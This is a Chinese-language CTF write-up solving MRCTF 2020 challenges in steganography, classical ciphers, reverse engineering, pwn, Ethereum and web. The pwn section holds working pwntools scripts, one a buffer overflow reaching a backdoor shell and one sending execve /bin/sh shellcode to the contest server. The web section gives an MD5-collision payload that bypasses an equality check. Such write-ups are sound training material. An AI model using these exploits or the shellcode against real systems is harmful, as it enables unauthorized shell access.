当前位置:首页 > CTF > 正文内容

[WP]MRCTF 2020部分题目简要解题思路

Luz1年前 (2020-03-29)CTF2044

MISC:

image.png

修改系统日期得到flag


image.png

修改图片高度得到flag


image.png

我这里用了audacity分析了频谱

image.png

image.png

根据频率查表得到电话号码

image.png

image.png


到微信号发送手机号得到flag


image.png

三张图片末尾提取出同一个压缩包的三个部分

拼接起来爆破密码为1234

解压得到flag.txt 与隐藏文件hint.txt

把flag.txt base85解码-->base16解码-->base32解码-->base16解码-->base64解码得到flag

image.png

image.png

image.png


image.png

百度搜一下可以找到原图

简单拼了一下

image.png


image.png

前几年看到过这种用声音逐行传输图片的办法

叫做SSTV

SSTV加解密软件 : http://hyluz.cn/?id=116

image.png

image.png

和bjd的套娃题基本一样

一键解压脚本

#coding:utf-8
import os
import zipfile
zipfile_addr0='C:\\Users\\80597\\Desktop\\qctw\\'
zipfile_addr=zipfile_addr0
pwd='0573'
lastname='0573'
while(1):
    zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.zip', 'r')
    for names in zip_file.namelist():
        zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii'))
        pwd=names[:-4]
        print(pwd)
        print(names)
        lastname=names[:-4]

最终解压出来是一个像素点二维码

01替换后用工具绘制

image.png

ps取个反像后扫一扫得到flag


image.png

解压得到一张图片,一段音频

音频的文件名提示看文件结尾,查看文件结尾发现AES密码

图片中分离出aes.png 得知密钥为Tokyo

image.png

解密得到压缩包密码

压缩包中还有一个音频文件

silentEye docode一下得到flag

image.png


image.png

Rar文件头部有误,修改一下解压出来

image.png

隐藏文字+音符密码解密得到flag

image.png


image.png

解压出png与有密码的flag.rar

png中发现lsb隐藏文件与结尾的带密码压缩包

image.png

提取lsb隐藏的png

image.png

得到png结尾压缩包的密码

打开压缩包中的out.txt 发现255等数字,学校平台上有类似的题目,把255等分别提取出前两位二进制数字

image.png

得到题目附带的另一个压缩包的密码,解压发现里面有个伪装成zip的doc文档,修改后缀名后打开

image.png

文档末尾有白的的文字,改个颜色就能看到了

base64逐行解密得到01组成的文本

image.png


image.png

把1替换成空格得到flag








CRYPTO

image.png

看看九键键盘获得flag




查阅天干地支表并把序号加60 再对照ascii码表获得flag

image.png



image.png

猪圈密码 圣堂武士密码 标准银河字母的结合体

参照密码表解密后再用栅栏密码解密得到flag

image.png

image.pngimage.pngimage.png



image.png

维吉尼亚密码,需要爆破密钥

自己写爆破脚本很麻烦,在GitHub上找点项目

image.png

然后就得到了flag



RE

image.png

str1="gy{\x7Fu+<RSyW^]B{-*fB~LWyAk~e<\EobM"
str2=[9,0x0A,0x0F,0x17,7,0x18,0x0C,6,1,0x10,3,0x11,0x20,0x1D,0x0B,0x1E,0x1B,0x16,4,0x0D,0x13,0x14,0x15,2,0x19,5,0x1F,8,0x12,0x1A,0x1C,0x0E]
flag=""
for i in range(32):
    flag+='\n'+str(str2[i])+':'+chr(ord(str1[i])^str2[i])
print(flag)

image.png

输出按1-32排序获得flag


image.png

解压apk

unity的游戏,直接搜索 Assembly-CSharp.dll

由于是.net的dll,使用Reflector打开

image.png

搜索字符串

image.png

发现flag


image.png

动态调试在首个输出后下断

image.png

一直在循环处理r9+rax的数据,r9存储数组位置,rax存储数组下标

跳转到这里看看

image.png

再往下看看

image.png

判断代码都有了

大致流程是把输入按奇数位偶数位进行处理后与cmps数组的响应位置比较

编写解题脚本

#include<stdio.h>
int main(){
	int cmps[29]={0,83,80,73,80,76,125,61,96,107,85,62,63,121, 122,101,33,123,82,101,114,54,100 ,101,97,85,111,39,97};
	for(int i=0;i<=28;i++){
		int a;
		if(i%2==0){
			a=cmps[i]^i;	
		}
		else{
			a=cmps[i]-6;	
		} 
		printf("%c",a);
	}
}

image.png


image.png

go语言程序,无符号,使用go_entry.py符号化,符号化后可以更方便地分析

go语言入口函数image.png

image.png

对输入长度进行判断,0x18

再此下断调试

image.png

image.png

单步下来有个stringcmp果断进入

image.png

rsi对应的值与rdi对应的值做比较,查看rdi,是我们输入的东西,rsi是flag

image.png

PWN

image.png

#coding:utf-8
from pwn import *
#context.log_level = 'debug' 
i=1
while(1):
	p=remote("38.39.244.2",28073)
	#p=process('./easy_overflow')
	p.sendline('a'*48+"n0t_r3@11y_f1@g")
	p.sendline('ls')
	print i
	try:	
		p.recv(timeout=5)
	except EOFError:
		i=i+1
		p.close()
		continue
	#p.close()
	p.interactive()

后门判断位于canary校验前,对canary进行泄露和保留


image.png

直接执行输入的shellcode

找个64位的shellcode用一下

from pwn import *
shellcode="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
p=remote("38.39.244.2",28083)
p.sendline(shellcode)
p.interactive()


Ethereum

image.png

不会区块链,这题看题目flag应该直接在合约里面

科学上网打开账户

image.png

题目开启时有一笔交易

image.png

查看交易的哈希块

image.png

inputData的编码方式改成utf8看到flag

image.png

反编译data的原始数据也可以得到flag

image.png


WEB

image.png

md5值全等且原字符串不相等

找了两个md5全等的串

/?id=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&gg=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

需要再post一个passwd=1234567a

然后可能是我太业余了我的burp发不出参数(哪位大佬帮我看看,是我的问题还是它的问题),

image.png

找了个在线网站发

image.png





by:Luz

分享给朋友:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。